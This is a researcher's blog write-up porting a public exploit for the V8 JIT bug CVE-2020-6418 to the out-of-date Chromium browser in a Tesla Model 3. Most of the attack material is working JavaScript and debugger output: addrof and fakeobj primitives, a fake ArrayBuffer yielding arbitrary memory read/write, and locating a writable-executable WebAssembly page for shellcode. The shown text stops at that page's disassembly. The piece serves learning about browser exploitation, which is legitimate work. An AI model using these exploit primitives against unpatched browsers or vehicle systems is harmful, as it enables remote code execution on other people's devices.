ELECTRIC CHROME - CVE-2020-6418 on Tesla Model 3
Originally hosted on leethax0.rs.
Disclaimer: All technical explanations are to the best of my knowledge and subject to human fallibility. Concepts may be overly simplified intentionally or otherwise. I did not discover the vulnerability used, nor did I create any of the techniques used to exploit it.
In November of 2019, I attended Ret2 Systems’ Advanced Browser Exploitation in Troy, New York, learning in great detail about the internals of Google Chrome’s V8 and Apple Safari’s JavaScriptCore. At the end of the five day course, we ended by implementing a full Chrome exploit that popped xcalculator
as long as the sandbox was disabled.
On the last day of the training we all departed, and while driving home I hit a deer with my trusty Volkswagen Jetta at highway speeds, which totaled the car. I had been considering purchasing a Tesla Model 3 for some time, and this accident provided the excuse to do so.
A few weeks later, a shiny new car arrived. One of the first things I noticed? A Chromium-based browser that was severely out of date.
This seemed like an excellent application of the skills from the training, so I started to monitor Tesla’s updates and watch for V8 patches that could be used as the basis for an exploit. The project fell to the back burner for awhile, until an Exodus Intelligence blog post caught my eye at the end of February 2020.
By this time, Tesla had released several software updates, bringing Chromium to 79.0.3945.88 in their 2020.4.1 release. Since the Tesla software predated Google’s patch by a few weeks, it seemed pretty likely that the in-car browser would be vulnerable! Since Exodus provided a full exploit, the first 90% was done, and all the remained was the second 90% of porting over to the Tesla.
Prerequisite Knowledge
Some knowledge of exploiting JIT engines in modern browsers (Safari or Chrome) is assumed. For the uninitiated, these resources should provide a strong foundation:
saelo - Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622
Exodus Intelligence - A Window of Opportunity: Exploiting a Chrome 1day Vulnerability
Exodus Intelligence - A Eulogy for Patch-Gapping Chrome (The post that inspired this effort)
For substantially more detail, Ret2 Systems’ Advanced Browser Exploitation training is strongly recommended.
Identifying and building the vulnerable V8
Typically, it is easier to explore this type of vulnerability in a debuggable version of the JavaScript interpreter. Within the Chromium project, this is called d8
. The first step is to identify the commit to the V8 project corresponding to the version of Chromium. This can be done by entering the Chromium version number into the omahaproxy version lookup box:
First, we must set up the development environment and build V8 at that commit. The depot_tools
repository contains everything needed to build Chromium and all of its components on a standard amd64 Ubuntu 18.04 VM:
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools
$ echo "export PATH=`pwd`/depot_tools:$PATH" >> ~/.bashrc
$ source ~/.bashrc
$ fetch --nohooks v8
$ cd v8
$ git checkout 2dd34650e3ed0541e2025aaabd9fca88b92adba3
$ gclient sync --with_branch_heads
$ ./build/install-build-deps.sh
Finally, build d8 in debug mode. This took approximately 25 minutes on my MacBook Pro.
$ ./tools/dev/gm.py x64.debug
$ ./out/x64.debug/d8
V8 version 7.9.317.32
d8>
Sidebar: Changing commits
When changing commits, the process is slightly different:
$ git checkout some-other-commit
$ gclient sync --with_branch_heads
$ ninja -C ./out/x64.debug d8
Running the exploit
Now run a stripped version of the Exodus exploit, slightly modified to run in d8
instead of the browser. We expect the output to say that the corrupted length of float_rel
is a large number:
// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel; // float array, initial corruption target
vuln.pop();
vuln.pop();
vuln.pop();
function empty() {}
function f(nt) {
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
for (var i = 0; i < 0x10000; ++i) {};
}
let p = new Proxy(Object, {
get: function() {
vuln[0] = {};
float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
return Object.prototype;
}
});
function main(o) {
for (var i = 0; i < 0x10000; ++i) {};
return f(o);
}
for (var i = 0; i < 0x10000; ++i) {empty();}
main(empty);
main(empty);
// Function would be jit compiled now.
main(p);
print(`Corrupted length of float_rel array = ${float_rel.length}\n`);
$ ./out/x64.debug/d8 --allow-natives-syntax exodus_minimal.js
Corrupted length of float_rel array = 5
Well that’s unfortunate. This version of V8 is supposed to be vulnerable, and in fact by examining the patch, it’s easy to see that the vulnerability should be present. The patch consists of one line (plus a regression test):
diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index f43a348..ab4ced6 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -386,6 +386,7 @@
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.
break;
}
case IrOpcode::kJSCreatePromise: {
This type of one-line patch is typical for issues in side-effect modeling, where any allowable side-effect must invalidate some assumptions made by the JIT compiler’s optimization phases. Looking at src/compiler/node-properties.cc
in the target commit, the added line isn’t present.
Why doesn’t it work?
The bug report contains an example script that is supposed to trigger the bug. Running the script in d8
does crash:
ITERATIONS = 10000;
TRIGGER = false;
function f(a, p) {
return a.pop(Reflect.construct(function() {}, arguments, p));
}
let a;
let p = new Proxy(Object, {
get: function() {
if (TRIGGER) {
a[2] = 1.1;
}
return Object.prototype;
}
});
for (let i = 0; i < ITERATIONS; i++) {
let isLastIteration = i == ITERATIONS - 1;
a = [0, 1, 2, 3, 4];
if (isLastIteration)
TRIGGER = true;
print(f(a, p));
}
$ ./out/x64.debug/d8 crash.js
[...]
abort: CSA_ASSERT failed: Word32BinaryNot(IsFixedDoubleArrayMap(source_map)) [../../src/codegen/code-stub-assembler.cc:4335]
==== JS stack trace =========================================
0: ExitFrame [pc: 0x7efe61492e20]
1: StubFrame [pc: 0x7efe612652c2]
Security context: 0x06a306d1b291 <JSObject>#0#
2: /* anonymous */ [0x6a306d1f5b9] [/home/ubuntu/crash.js:~1] [pc=0x22f42f303476](this=0x384816c80141 <JSGlobal Object>#1#)
3: InternalFrame [pc: 0x7efe6125891a]
4: EntryFrame [pc: 0x7efe612586f8]
==== Details ================================================
[0]: ExitFrame [pc: 0x7efe61492e20]
[1]: StubFrame [pc: 0x7efe612652c2]
[2]: /* anonymous */ [0x6a306d1f5b9] [/home/ubuntu/crash.js:~1] [pc=0x22f42f303476](this=0x384816c80141 <JSGlobal Object>#1#) {
// optimized frame
--------- s o u r c e c o d e ---------
ITERATIONS = 10000;\x0aTRIGGER = false;\x0a\x0afunction f(a, p) {\x0a return a.pop(Reflect.construct(function() {}, arguments, p));\x0a}\x0a\x0alet a;\x0alet p = new Proxy(Object, {\x0a get: function() {\x0a if (TRIGGER) {\x0a a[2] = 1.1;\x0a }\x0a return Object.prototype;\x0a }\x0a});\x0afor (let i = 0; i...
-----------------------------------------
}
[3]: InternalFrame [pc: 0x7efe6125891a]
[4]: EntryFrame [pc: 0x7efe612586f8]
==== Key ============================================
#0# 0x6a306d1b291: 0x06a306d1b291 <JSObject>
#1# 0x384816c80141: 0x384816c80141 <JSGlobal Object>
=====================
Received signal 4 ILL_ILLOPN 7efe61c3ff71
==== C stack trace ===============================
[0x7efe61c42731]
[0x7efe61c42680]
[0x7efe5e3d2890]
[0x7efe61c3ff71]
[0x7efe608ccdd7]
[0x7efe608ccad2]
[0x7efe61492e20]
[end of stack trace]
Illegal instruction (core dumped)
Clearly the bug is present. Perhaps there’s some commit in between Tesla’s version and the application of the patch that would shed some light on this.
Troubleshooting with git bisect
git bisect
is a very useful tool that will help narrow down the commit that divides whether or not the Exodus exploit works. By performing a binary search across the range of commits, the number of commits that must be tested is drastically reduced.
First, we must identify the boundaries of the search and define one as “old” and one as “new.” The V8 version used in the Tesla will be the “old” boundary.
The change for the patch links to its parent commit (meaning the last commit before the patch): bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07, which will be the “new” boundary.
At each stage during the bisecting process, d8
must be rebuilt at the selected commit, then the Exodus exploit can be run. The result is then given to git
by marking the commit as either “old” (did not work) or “new” (did work). At the end of the process, we should be at the exact commit where the Exodus exploit began to work. The difference between that commit and its parent should reveal why the exploit doesn’t work on the version used in the Tesla browser.
Start off by starting git bisect
and defining the boundaries:
$ git bisect start
$ git bisect old 2dd34650e3ed0541e2025aaabd9fca88b92adba3
$ git bisect new bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
Bisecting: a merge base must be tested
[0d7889d0b14939fa5c09c39a0a5eb155b74163e4] [coverage] Correctly report coverage for inline scripts
$ gclient sync --with_branch_heads && ninja -C ./out/x64.debug d8
$ ./out/x64.debug/d8 --allow-natives-syntax exodus_minimal.js
Corrupted length of float_rel array = 5
$ git bisect old
Bisecting: 1010 revisions left to test after this (roughly 10 steps)
[70803a8fef8d93e2a73ab75f34fcead1090d81c4] Update V8 DEPS.
$ gclient sync --with_branch_heads && ninja -C ./out/x64.debug d8
$ ./out/x64.debug/d8 --allow-natives-syntax exodus_minimal.js
[...]
After several hops, the culprit appears:
In retrospect this seems obvious from the text of the Exodus blog post, and I immediately recognized the issue: Pointer compression wasn’t enabled until Chrome 80! While the bug is present before that, the approach of clobbering the length field of a second array isn’t viable.
Pointer Compression
The Exodus post links to an article describing pointer compression in detail. The short version is that the high 32-bits of pointers to JSObjects are static throughout the interpreter, and stored in a dedicated register. When dereferencing a pointer to a JSObject, the lower 32-bits stored on the heap are combined with the high 32-bits, providing the full address.
This means that the size of a double is no longer the same as the size of a pointer. When the first element of the vuln
array is set to an object, it is changed from a HOLEY_DOUBLE_ELEMENTS
to HOLEY_ELEMENTS
, the doubles are converted from raw doubles to JSValues, and the backing store is reallocated in a smaller space.
The vuln.push()
call still believes (as a result of the JIT compilation/optimization) that the array consists of type HOLEY_DOUBLE_ELEMENTS
, and places the argument straight into vuln[vuln.length * 8]
as a raw double. By creating a new array (float_rel
) in the proxy right after inducing vuln
to change types, it will be allocated partially in the space that vuln
used to occupy, and thus the out-of-bounds write of a raw double can clobber the length of float_rel
, allowing a controlled relative read/write from there.
Without the compressed pointers, vuln.push()
still pushes a raw double into a HOLEY_ELEMENTS
array, but it is no longer out-of-bounds, and this approach isn’t viable.
The Exodus post says that “[t]he vulnerability grants the addrof
and fakeobj
primitives readily, as we can treat unboxed double values as tagged pointers or the other way around.” They don’t provide a proof-of-concept for that, and I wasn’t able to locate one from anyone else; it’s time to put the Ret2 training to the test.
Starting from scratch
Building addrof
The stripped down version of the Exodus proof-of-concept is very close to having addrof
already: By calling pop()
on the array instead of push()
, the address of an object will be returned as a raw double. Simple!
function addrof(obj) {
let vuln = [0.1]; // [1] vuln is PACKED_DOUBLE_ELEMENTS
function empty() {}
function f(nt) {
let a = vuln.pop(Reflect.construct(empty, arguments, nt)); // [2] Reflect.construct triggers the proxy, [4] pop() still thinks vuln is PACKED_DOUBLE_ELEMENTS
for (var i = 0; i < 0x10000; i++) {};
return a;
}
let p = new Proxy(Object, {
get: function() {
vuln[0] = obj; // [3] Convert vuln to PACKED_ELEMENTS and write the address of obj into the last element (ready for pop())
return Object.prototype;
}
});
function main(o) {
for (var i = 0; i < 0x10000; i++) {};
return f(o);
}
for (var i = 0; i < 0x10000; i++) {empty();}
main(empty);
main(empty);
return main(p);
}
let leak_obj = {};
%DebugPrint(leak_obj);
print('addrof(leak_obj): ' + addrof(leak_obj));
And the results are promising:
$ ./out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/addrof.js
DebugPrint: 0x8543ed4b6f1: [JS_OBJECT_TYPE]
- map: 0x27bd44a40441 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x085af1902129 <Object map = 0x27bd44a40211>
- elements: 0x38e899880c09 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x38e899880c09 <FixedArray[0]> {}
0x27bd44a40441: [Map]
- type: JS_OBJECT_TYPE
- instance size: 56
- inobject properties: 4
- elements kind: HOLEY_ELEMENTS
- unused property fields: 4
- enum length: invalid
- back pointer: 0x38e8998804b9 <undefined>
- prototype_validity cell: 0x15d593500661 <Cell value= 1>
- instance descriptors (own) #0: 0x38e899880241 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x085af1902129 <Object map = 0x27bd44a40211>
- constructor: 0x085af1902161 <JSFunction Object (sfi = 0x15d59350a309)>
- dependent code: 0x38e8998802a9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
addrof(leak_obj): 4.5246158346984e-311
$ python -c "import struct; print(hex(struct.unpack('<Q', struct.pack('<d', 4.5246158346
984e-311))[0]))"
0x8543ed4b6f1
$
Now is a good time to test that the bug is present on the actual target device. It’s very likely, since this firmware predates the public announcement of the bug, but it’s wise to check anyway:
Building fakeobj
Conceptually, fakeobj
is simple as it’s addrof
in reverse. We return to using push()
to write a raw double into an array that has been converted from PACKED_DOUBLE_ELEMENTS
to PACKED_ELEMENTS
.
I wasted nearly an entire Saturday on a typo:
vuln.push(typeof(Reflect.construct(empty2, arguments, nt) === Proxy ? 0.2 : addr));
After over 20 years of programming in some capacity, it’s still possible to make silly mistakes like this. It should have been obvious when the object was reading out as the string “number,” but that didn’t click for several hours.
Fixing the typo, the rest is straightforward:
function addrof(obj) {
[...]
}
function fakeobj(addr) {
let vuln = [0.1]; // [1] Start with PACKED_DOUBLE_ELEMENTS
function empty2() {}
function f2(nt) {
vuln.push(typeof(Reflect.construct(empty2, arguments, nt)) === Proxy ? 0.2 : addr); // [2] Reflect.construct calls the proxy, [4] Push addr as a raw double
for (var i = 0; i < 0x10000; i++) {};
}
let p2 = new Proxy(Object, {
get: function() {
vuln[0] = {}; // [3] Convert to PACKED_ELEMENTS
return Object.prototype;
}
});
function main2(o) {
for (var i = 0; i < 0x10000; i++) {};
f2(o);
}
for (var i = 0; i < 0x10000; i++) { empty2(); }
main2(empty2);
main2(empty2);
main2(p2);
return vuln[3]; // [5] Read out the object and return
}
let leak_obj = {a: 1, b: 2};
let leak_addr = addrof(leak_obj);
let leak_fake = fakeobj(leak_addr);
if (leak_fake.a !== leak_obj.a || leak_fake.b !== leak_obj.b) {
print('Fake object does not match original, failed to set up fakeobj primitive!');
} else {
print('Fake object matches original!');
}
$ ./out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/fakeobj.js
Fake object matches original!
$
And of course, might as well test on the real target:
About an hour after successfully implementing fakeobj
, Tesla made a drastic move:
But…
It appears that Tesla updated their Chromium build, but not enough to avoid this bug. A bit later they released 2020.12, which also contained 79.0.3945.130. Note that this version was first detected by Teslascope on March 13, 2020, and the patch was released February 24th, with some noticeable media coverage.
Perhaps Tesla doesn’t consider the browser to be a relevant attack surface, or some factor (heavy Chromium customization/integration into the system, long lead times on firmware releases) precludes updating the browser regularly.
At this point I opted to stay on 2020.4.1 for the time being.
Expanding to arbitrary read/write
Building from the addrof
/fakeobj
combination to arbitrary read/write is relatively straightforward: Create a fake ArrayBuffer
whose backing store points to the structure of another (real) ArrayBuffer. By then writing to an offset of the fake ArrayBuffer, the backing store of the real ArrayBuffer can be moved around arbitrarily. From there, the first two elements of the real ArrayBuffer access the arbitrary address.
This procedure does involve a small change to addrof
/fakeobj
, as in the current implementation each function can only be called once. By wrapping them in new Function()
and appending a counter to each inner function, it is then possible to run these an arbitrary number of times:
var addrof_counter = 0;
var fakeobj_counter = 1000;
function addrof(obj) {
addrof_counter += 1;
for (var i = 0; i < 100; i++) {
let x = new Function('leak_obj', `let vuln = [0.1]; \
function empty${addrof_counter}() {} \
function f${addrof_counter}(nt) { \
let a = vuln.pop(Reflect.construct(empty${addrof_counter}, arguments, nt)); \
for (var i = 0; i < 0x10000; i++) {}; \
return a; \
} \
let p${addrof_counter} = new Proxy(Object, { \
get: function() { \
vuln[0] = leak_obj; \
return Object.prototype; \
} \
}); \
function main${addrof_counter}(o) { \
for (var i = 0; i < 0x10000; i++) {}; \
return f${addrof_counter}(o); \
} \
for (var i = 0; i < 0x10000; i++) {empty${addrof_counter}();} \
main${addrof_counter}(empty${addrof_counter}); \
main${addrof_counter}(empty${addrof_counter}); \
let q = main${addrof_counter}(p${addrof_counter}); \
return Int64.from_double(q);`
)(obj);
if (x !== 0x7ff8000000000000) {
return x;
}
}
}
function fakeobj(addr) {
fakeobj_counter += 1;
return new Function('new_obj_addr', `let vuln = [0.1]; \
let empty${fakeobj_counter} = function() {} \
let f${fakeobj_counter} = function(nt) { \
vuln.push(typeof(Reflect.construct(empty${fakeobj_counter}, arguments, nt)) === Proxy ? 0.2 : new_obj_addr); \
for (var i = 0; i < 0x10000; i++) {}; \
} \
let p${fakeobj_counter} = new Proxy(Object, { \
get: function() { \
vuln[0] = {}; \
return Object.prototype; \
} \
}); \
let main${fakeobj_counter} = function(o) { \
for (var i = 0; i < 0x10000; i++) {}; \
f${fakeobj_counter}(o); \
} \
for (var i = 0; i < 0x10000; i++) { empty${fakeobj_counter}(); } \
main${fakeobj_counter}(empty${fakeobj_counter}); \
main${fakeobj_counter}(empty${fakeobj_counter}); \
main${fakeobj_counter}(p${fakeobj_counter}); \
return vuln[3];`
)(addr);
}
Next, the fake ArrayBuffer
must be created. This will also require creating a Map
that looks like an ArrayBuffer
Map
. Since we don’t yet have arbitrary read/write, this fake Map
is somewhat risky, as some operations (including garbage collection!) will cause invalid pointers to be dereferenced. Once the read/write is in place, the fake ArrayBuffer
’s Map
should be changed to the real Map
as quickly as possible.
With a Uint32Array
as a view into the fake ArrayBuffer
, fake_array_buffer_u32[8]
and [9]
line up with the backing store pointer of target_array_buffer
. After setting them to the address to read or write, another Uint32Array
over target_array_buffer
exposes the address as accessor[0]
and [1]
.
var addrof_counter = 0;
var fakeobj_counter = 1000;
function addrof(obj) {
[...]
}
function fakeobj(addr) {
[...]
}
let target_array_buffer = new ArrayBuffer(0x200);
let fake_map = {
a: 0x3132, // Map root
b: new Int64('0x1900042417080808').to_double(), // flags
c: new Int64('0x00000000084003ff').to_double(), // flags 2
d: 0x4142, // prototype
e: 0x5152, // constructor_or_backpointer
f: 0x6162, // raw_transitions
g: 0, // instance_descriptors
h: 0x8182, // layout_descriptors
i: 0x9192, // dependent_code
};
let array_buffer_map = addrof(fake_map).add(0x18);
let holder = {
a: array_buffer_map.to_double(), // Map pointer
b: 0, // Properties array (don't care)
c: 0, // Elements array (don't care)
d: new Int64(0x200).to_double(), // Array length
e: addrof(target_array_buffer).sub(1).to_double(), // Backing store (not tagged)
f: new Int64(0x2).to_double(), // Flags
g: new Int64(0).to_double(), // Embedder (can just be 0)
};
let fake_pointer = addrof(holder).add(8*3);
let fake_array_buffer = fakeobj(fake_pointer.to_double());
// Make 32-bit accessors
let fake_array_buffer_u32 = new Uint32Array(fake_array_buffer);
memory = {
read64: function(addr) {
fake_array_buffer_u32[8] = addr.low;
fake_array_buffer_u32[9] = addr.high;
let accessor = new Uint32Array(target_array_buffer);
return new Int64(undefined, accessor[1], accessor[0]);
},
write64: function(addr, value) {
fake_array_buffer_u32[8] = addr.low;
fake_array_buffer_u32[9] = addr.high;
let accessor = new Uint32Array(target_array_buffer);
accessor[0] = value.low;
accessor[1] = value.high;
},
};
// Fix up the map of the fake object (mostly untested...)
let fake_array_buffer_ptr = addrof(fake_array_buffer).sub(1);
let target_array_buffer_ptr = addrof(target_array_buffer).sub(1);
memory.write64(fake_array_buffer_ptr, memory.read64(target_array_buffer_ptr));
memory.read64(new Int64('0xFEEDFACEDEADBEEF'));
$ gdb ./out/x64.debug/d8
Reading symbols from ./out/x64.debug/d8...done.
warning: Could not find DWO CU obj/d8/d8.dwo(0x59baa2e3c76f6fbb) referenced by CU at offset 0xc0 [in module /home/ubuntu/v8/master/v8/out/x64.debug/d8]
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/arw.js
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/dump_memory_test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 47307)]
[New Thread 0x7ffff266b700 (LWP 47308)]
[New Thread 0x7ffff1e6a700 (LWP 47309)]
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x00007ffff7712f07 in Builtins_KeyedLoadIC_Megamorphic () from /home/ubuntu/v8/master/v8/out/x64.debug/libv8.so
=> 0x00007ffff7712f07 <Builtins_KeyedLoadIC_Megamorphic+44487>: 45 8b 04 98 mov r8d,DWORD PTR [r8+rbx*4]
(gdb) i r r8
r8 0xfeedfacedeadbeef -77129852189294865
(gdb)
Disassembling a JIT-compiled function, with a surprise
Now that we can arbitrarily read and write any address, the question must be asked: What are interesting things to read and write, and how can the addresses be found?
This version of Chromium has mitigations for writing into an executable JIT page, but executable WebAssembly pages are still writable. First we need to know what architecture the target is running in order to write or repurpose shellcode.
Since we have arbitrary read, we can start by JIT-compiling a function and following some pointers:
[Previous exploit code here...]
let jit_function = function(x) {
let y = x * 2 + 15;
return Math.atan2(y, x);
}
for (var i = 0; i < 10000; i++) { jit_function(i) }
for (var i = 0; i < 10000; i++) { jit_function(i) }
for (var i = 0; i < 10000; i++) { jit_function(i) }
/*
* For amd64:
* native_code = addrof(jit_pointer).sub(1).add(0x40)
* reference_to_atan2 = native_code.add(0xBF).add(0x2)
*/
let jit_function_ptr = addrof(jit_function).sub(1);
print("jit_function @" + jit_function_ptr);
let jit_code_obj = memory.read64(jit_function_ptr.add(0x30)).sub(1);
print("jit_code_obj @ " + jit_code_obj);
let native_code = jit_code_obj.add(0x40);
print("native code @ " + native_code);
for (var i = 0; i < 128; i++) {
print(memory.read64(native_code.add(i*8)));
}
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/dump_memory_test.js
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/dump_memory_test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 57032)]
[New Thread 0x7ffff266b700 (LWP 57033)]
[New Thread 0x7ffff1e6a700 (LWP 57034)]
jit_function @0x000027aeaf499758
jit_code_obj @ 0x000014aac9b47940
native code @ 0x000014aac9b47980
0x48fffffff91d8d48
0x0000ba481874d93b
0xba49000000360000
0x00007ffff76afcc0
0xe0598b48ccd2ff41
0xba490d74010f43f6
0x00007ffff7612480
[...]
And on the real target:
Plugging this into an online disassembler (remember endianness!) and toying with different architectures, some x86_64
instructions appear, including an obvious function prologue:
This was surprising, as I was expecting 32-bit ARM or AArch64! Fortunately, this makes the remainder of the exploitation much simpler, as the shellcode can be tested in the development VM.
Running shellcode via WebAssembly
As a shortcut, I simply adapted the WebAssembly replacement code from a blog post by Syed Faraz Abrar. This required only a little bit of tweaking:
Using the
Int64
library instead ofBigInt
.The address of the RWX page is stored in the WebAssembly instance structure. The offset into the structure is different on this version of Chromium than the one used in the blog post’s CTF challenge.
Toying in the debugger and looking at /proc/<d8 pid>/maps
for RWX mappings reveals that the address is 0x80
bytes into the WebAssembly instance structure.
[...previous exploit code...]
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
%DebugPrint(wasm_instance);
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 80497)]
[New Thread 0x7ffff266b700 (LWP 80498)]
[New Thread 0x7ffff1e6a700 (LWP 80499)]
DebugPrint: 0x390fe46706f9: [WasmInstanceObject] in OldSpace
- map: 0x248f56ec92c1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x04174b0c8681 <Object map = 0x248f56ecc881>
- elements: 0x0b0b03940c09 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x04174b0d9b21 <Module map = 0x248f56ec8d21>
- exports_object: 0x04174b0d9da1 <Object map = 0x248f56ecc9c1>
- native_context: 0x390fe46418c9 <NativeContext[253]>
- memory_object: 0x390fe46706c9 <Memory map = 0x248f56ec9cc1>
- table 0: 0x04174b0d9d51 <Table map = 0x248f56ec95e1>
- imported_function_refs: 0x0b0b03940c09 <FixedArray[0]>
- managed_native_allocations: 0x04174b0d9cc9 <Foreign>
- memory_start: 0x7ffddc000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x55555570fa00
- globals_start: (nil)
- imported_mutable_globals: 0x55555570fa20
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x0b0b03940c09 <FixedArray[0]> {}
0x248f56ec92c1: [Map]
- type: WASM_INSTANCE_OBJECT_TYPE
- instance size: 280
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x0b0b039404b9 <undefined>
- prototype_validity cell: 0x38ed1cd00661 <Cell value= 1>
- instance descriptors (own) #0: 0x0b0b03940241 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x04174b0c8681 <Object map = 0x248f56ecc881>
- constructor: 0x390fe465df99 <JSFunction Instance (sfi = 0x390fe465df59)>
- dependent code: 0x0b0b039402a9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
warning: Could not find DWO CU obj/v8_libbase/platform-posix.dwo(0x367e2bf44dc6e6d4) referenced by CU at offset 0x3c0 [in module /home/ubuntu/v8/master/v8/out/x64.debug/libv8_libbase.so]
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
While that’s running, in a new terminal:
$ ps aux | grep d8
ubuntu 56932 0.0 3.1 362372 256892 pts/2 S+ Mar30 0:22 gdb -q ./out/x64.debug/d8
ubuntu 80496 9.9 0.7 10926352 62868 pts/2 tl 16:24 0:09 /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
ubuntu 80506 0.0 0.0 16304 1092 pts/3 S+ 16:25 0:00 grep --color=auto d8
$ cat /proc/80496/maps | grep rwxp
29f9a7b97000-29f9a7b98000 rwxp 00000000 00:00 0
$
And examining the memory of the WasmInstanceObject
, the address of the RWX page is 0x80
bytes into the structure:
(gdb) x/64gx 0x390fe46706f9-1
0x390fe46706f8: 0x0000248f56ec92c1 0x00000b0b03940c09
0x390fe4670708: 0x00000b0b03940c09 0x00007ffddc000000
0x390fe4670718: 0x0000000000010000 0x000000000000ffff
0x390fe4670728: 0x000055555564ca60 0x00000b0b03940c09
0x390fe4670738: 0x000055555570fa00 0x00000b0b039404b9
0x390fe4670748: 0x0000000000000000 0x0000000000000000
0x390fe4670758: 0x0000000000000000 0x0000000000000000
0x390fe4670768: 0x000055555570fa20 0x000055555564ca80
0x390fe4670778: 0x000029f9a7b97000 0x000004174b0d9b21
0x390fe4670788: 0x000004174b0d9da1 0x0000390fe46418c9
0x390fe4670798: 0x0000390fe46706c9 0x00000b0b039404b9
0x390fe46707a8: 0x00000b0b039404b9 0x00000b0b039404b9
0x390fe46707b8: 0x00000b0b039404b9 0x000004174b0d9d39
0x390fe46707c8: 0x000004174b0d9d89 0x000004174b0d9cc9
0x390fe46707d8: 0x00000b0b039404b9 0x000004174b0d9e39
0x390fe46707e8: 0x000055555564ca50 0x000055555570fa40
0x390fe46707f8: 0x000055555570fa60 0x000055555570fa80
0x390fe4670808: 0x000055555570faa0 0x00000b0b03945979
0x390fe4670818: 0x0000180701bc7941 0x0000390fe46706f9
0x390fe4670828: 0x0000000000000000 0x0000000000000000
0x390fe4670838: 0x0000000000000000 0x0000000000000000
0x390fe4670848: 0x0000000000000000 0x00000b0b03940979
0x390fe4670858: 0x0000390fe4670811 0x00000b0b03944949
0x390fe4670868: 0x00000b0b03942561 0x00000b0b039404b9
0x390fe4670878: 0x0000000000000000 0xffffffff00000000
0x390fe4670888: 0x000000000000008d 0x0000248f56ec45e1
0x390fe4670898: 0x00000b0b03940c09 0x00000b0b03940c09
0x390fe46708a8: 0x0000390fe4670851 0x0000390fe46418c9
0x390fe46708b8: 0x000038ed1cd006f1 0x0000180701bc7941
0x390fe46708c8: 0x00000b0b03940b59 0x0000000400000000
0x390fe46708d8: 0x0000000000000000 0x0000000100000000
0x390fe46708e8: 0x00000b0b03944a69 0x0000248f56ecc9c3
As expected, there’s executable code in that page:
(gdb) x/32i 0x000029f9a7b97000
warning: (Internal error: pc 0x7ffff7fe9f85 in read in CU, but not in symtab.)
warning: (Internal error: pc 0x7ffff7fe9f85 in read in CU, but not in symtab.)
0x29f9a7b97000: jmp 0x29f9a7b972c0
0x29f9a7b97005: int3
0x29f9a7b97006: int3
0x29f9a7b97007: int3
0x29f9a7b97008: int3
0x29f9a7b97009: int3
0x29f9a7b9700a: int3
0x29f9a7b9700b: int3
0x29f9a7b9700c: int3
0x29f9a7b9700d: int3
0x29f9a7b9700e: int3
0x29f9a7b9700f: int3
0x29f9a7b97010: int3
0x29f9a7b97011: int3
0x29f9a7b97012: int3
0x29f9a7b97013: int3
0x29f9a7b97014: int3
0x29f9a7b97015: int3
0x29f9a7b97016: int3
0x29f9a7b97017: int3
0x29f9a7b97018: int3
0x29f9a7b97019: int3
0x29f9a7b9701a: int3
0x29f9a7b9701b: int3
0x29f9a7b9701c: int3
0x29f9a7b9701d: int3
0x29f9a7b9701e: int3
0x29f9a7b9701f: int3
0x29f9a7b97020: int3
